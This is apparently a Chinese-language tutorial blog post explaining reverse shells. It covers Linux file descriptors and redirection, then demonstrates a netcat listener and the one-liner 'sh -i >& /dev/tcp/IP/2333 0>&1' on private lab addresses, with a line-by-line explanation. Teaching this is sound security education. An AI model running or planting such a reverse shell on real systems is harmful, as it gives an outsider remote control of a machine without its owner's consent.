反弹Shell 的了解与使用
一、什么是反弹 shell
反弹 shell(reverse shell),就是在我们自己的机器上开启监听某个端口,然后在被控制的机器上发送连接请求去连接我们自己的机器,将被控制的机器的 shell 反弹到我们的机器上。本质上就是的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
二、文件描述符
1、文件描述符
在实现反弹 shell 的命令之前,需要先了解 linux 文件描述符
文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符
文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。程序刚刚启动时,第一个打开的文件是 0,第二个是 1,以此类推,每个程序在运行后,都会至少打开三个文件描述符,分别是 0、1、2
文件描述符 | 通道名 | 描述 | 默认设备 |
---|---|---|---|
0 | stdin | 标准输入 | 键盘 |
1 | stdout | 标准输出 | 终端 |
2 | stderr | 标准错误 | 终端 |
3 以上 | filename | 其他文件 | none |
除了文件描述符,还有两个符号:>
和 &
- > 是重定向符,就是把前面输出的内容重定向到后面指定的位置
- & 是一个描述符,按照 C 语言的理解就是取地址符,
- 当
>&
后面接文件时,表示将标准输出和标准错误输出重定向至文件 - 当
>&
后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
- 当
比如说
1>&2 的意思是把标准输出重定向到标准错误
2>&1 的意思是把标准错误重定向到标准输出
&>filename 意思是把标准输出和标准错误输出都重定向到文件 filename 中
2、查看
怎么查看文件描述符
这里随便打开一个,查看 pid 为 1 的文件描述符
1 | ls -l /proc/1/fd |
三、实现反弹 shell
首先在本地(192.168.88.123)监听一个指定端口,比如 2333
1 | nc -lvnp 2333 |
接着在被控制端(192.168.88.109)创建一个反弹 shell,连接到本地机器的 ip 上
1 | sh -i >& /dev/tcp/192.168.88.123/2333 0>&1 |
再次查看本地机器的窗口,发现连接成功
查看系统信息,确实是将被控制的机器的 shell 反弹到我们的机器上了
四、命令解读
1 | sh -i >& /dev/tcp/192.168.88.123/2333 0>&1 |
sh -i
代表在本地打开一个 sh
>&
后面接/dev/tcp/ip/port
,代表将标准输出和标准错误传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个 sh 的标准输出和标准错误,其中: /dev/tcp/
是 Linux 中的一个特殊设备,打开这个文件就相当于发出了一个 socket 调用,建立一个 socket 连接
0>&1
,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port
这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了
五、总结
实现反弹 shell 的方式有很多,这里就是列举了其中一种
网上也有反弹 shell 在线生成的,见:Reverse Shell Generator